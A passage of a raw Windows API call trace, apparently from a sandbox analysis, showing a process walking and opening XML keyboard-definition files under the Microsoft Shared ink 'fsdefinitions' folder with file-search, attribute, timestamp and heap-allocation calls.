dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9100 [0045.610] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0045.610] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.610] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 1 [0045.610] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 0 [0045.610] GetLastError () returned 0x12 [0045.610] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e22b0) returned 1 [0045.610] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0045.610] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e23b8) returned 1 [0045.610] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e21a8) returned 1 [0045.610] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2b1a99, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2b1a99, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2b1a99, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad.xml", cAlternateFileName="")) returned 1 [0045.610] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad", cAlternateFileName="")) returned 1 [0045.610] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e21a8 [0045.610] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0045.611] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0045.611] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0045.611] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9e3218 [0045.611] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e3218, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x9e3218, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0045.611] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e3218) returned 1 [0045.611] NtClose (Handle=0x16c) returned 0x0 [0045.611] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e21a8) returned 1 [0045.611] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.611] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.611] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e21a8 [0045.611] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.611] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e23b8 [0045.611] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9100 [0045.611] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.611] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f4a0c5f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f4a0c5f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea.xml", cAlternateFileName="")) returned 1 [0045.611] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.611] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.611] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.611] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.611] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.611] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e22b0 [0045.612] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.612] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e0a88 [0045.612] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e25c8 [0045.612] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.612] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x45e, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypadbase.xml", cAlternateFileName="")) returned 1 [0045.612] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.612] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.612] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.612] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.612] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.612] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e0aa8 [0045.612] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e26d0 [0045.612] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.612] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4ecf1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 1 [0045.612] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.612] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.612] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.612] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.612] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.612] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e0ac8 [0045.612] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e27d8 [0045.612] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.612] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4ecf1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 0 [0045.612] GetLastError () returned 0x12 [0045.612] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9080 [0045.612] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0045.612] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.613] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f4a0c5f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f4a0c5f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea.xml", cAlternateFileName="")) returned 1 [0045.613] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x45e, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypadbase.xml", cAlternateFileName="")) returned 1 [0045.613] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4ecf1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 1 [0045.613] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4ecf1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 0 [0045.613] GetLastError () returned 0x12 [0045.613] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e23b8) returned 1 [0045.613] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0045.613] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e22b0) returned 1 [0045.613] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e21a8) returned 1 [0045.613] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f47ab01, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f47ab01, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f47ab01, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad.xml", cAlternateFileName="")) returned 1 [0045.613] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="main", cAlternateFileName="")) returned 1 [0045.613] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e21a8 [0045.613] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0045.613] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0045.613] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0045.613] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9e3218 [0045.613] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e3218, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x9e3218, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0045.613] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e3218) returned 1 [0045.613] NtClose (Handle=0x164) returned 0x0 [0045.614] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e21a8) returned 1 [0045.614] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.614] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.614] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e21a8 [0045.614] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.614] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e22b0 [0045.614] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9080 [0046.695] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.695] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f643b69, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f643b69, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="base.xml", cAlternateFileName="")) returned 1 [0046.696] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0046.699] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0046.699] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0046.699] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0046.699] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0046.699] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e23b8 [0046.699] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0046.700] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e0ae8 [0046.702] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e28e0 [0046.703] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x400) returned 0x9e3218 [0046.706] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d63e8) returned 1 [0046.706] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0046.706] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e7ee29, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e7ee29, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6b5f83, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf7, dwReserved0=0x0, dwReserved1=0x0, cFileName="baseAltGr_rtl.xml", cAlternateFileName="")) returned 1 [0046.707] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0046.708] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0046.710] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0046.712] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0046.713] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0046.713] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e0b08 [0046.714] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e29e8 [0046.715] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0046.716] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc59, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_altgr.xml", cAlternateFileName="")) returned 1 [0046.717] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0046.718] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0046.718] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0046.720] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0046.720] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0046.724] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e0b28 [0046.731] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e2af0 [0046.733] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0046.734] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f669cc7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_ca.xml", cAlternateFileName="")) returned 1 [0046.734] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0046.734] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0046.736] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0046.741] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0046.741] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0046.744] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e0b48 [0046.747] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e2bf8 [0046.747] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0046.747] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cdbf2a, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cdbf2a, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_heb.xml", cAlternateFileName="")) returned 1 [0046.750] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0046.754] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0046.757] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0046.757] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0046.757] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0046.809] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e0b68 [0046.812] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e2d00 [0046.814] RtlFreeHeap 